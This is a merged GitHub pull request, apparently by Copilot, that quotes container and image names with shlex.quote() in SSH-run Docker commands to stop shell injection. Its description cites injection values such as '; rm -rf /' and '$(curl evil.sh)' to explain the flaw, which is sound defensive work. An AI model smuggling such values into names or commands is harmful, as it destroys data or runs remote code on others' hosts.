Skip to content

fix: quote container/image names in SSH shell commands to prevent injection#59

Merged
gensyn merged 1 commit into
mainfrom
copilot/fix-shell-command-injection
May 13, 2026
Merged

fix: quote container/image names in SSH shell commands to prevent injection#59
gensyn merged 1 commit into
mainfrom
copilot/fix-shell-command-injection

Conversation

Copilot AI commented May 13, 2026

Copy link
Copy Markdown
Contributor

Container and image names were interpolated directly into SSH shell command strings without quoting. Since names can originate from remote docker ps output, a maliciously named container (e.g. ; rm -rf / or $(curl evil.sh)) would execute arbitrary commands as the SSH user.

Changes

  • Wrap all user-derived container/image name interpolations in shlex.quote() across coordinator.py:
    • docker inspect, docker pull, docker image inspect — in _async_fetch_data
    • docker logs — in get_logs
    • docker restart — in restart
    • docker stop — in stop
    • docker stop … rm — in remove
    • docker_create <name> — in both create and _auto_recreate

execute_command already used shlex.quote() and was not changed.

# Before
f"{docker_cmd} restart {name}"
f"{docker_cmd} stop {name}; {docker_cmd} rm {name}"

# After
f"{docker_cmd} restart {shlex.quote(name)}"
f"{docker_cmd} stop {shlex.quote(name)}; {docker_cmd} rm {shlex.quote(name)}"

@gensyn gensyn marked this pull request as ready for review May 13, 2026 17:59
Copilot AI review requested due to automatic review settings May 13, 2026 17:59
@gensyn gensyn merged commit cb420b2 into main May 13, 2026
7 checks passed
@gensyn gensyn deleted the copilot/fix-shell-command-injection branch May 13, 2026 18:00

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR hardens SSH-executed Docker shell commands against command injection by shell-quoting container and image identifiers that can originate from remote docker output.

Changes:

  • Quote container names used in docker inspect, docker logs, docker restart, docker stop, and docker stop; docker rm command strings.
  • Quote image names used in docker pull and docker image inspect command strings.
  • Quote container names passed to docker_create in both create and _auto_recreate.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread coordinator.py
Comment on lines 278 to 281
info_cmd = (
f"{docker_cmd} inspect {service}"
f"{docker_cmd} inspect {shlex.quote(service)}"
f" --format '{{{{.State.Status}}}};{{{{.Created}}}};{{{{.Config.Image}}}};{{{{.Image}}}}'"
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants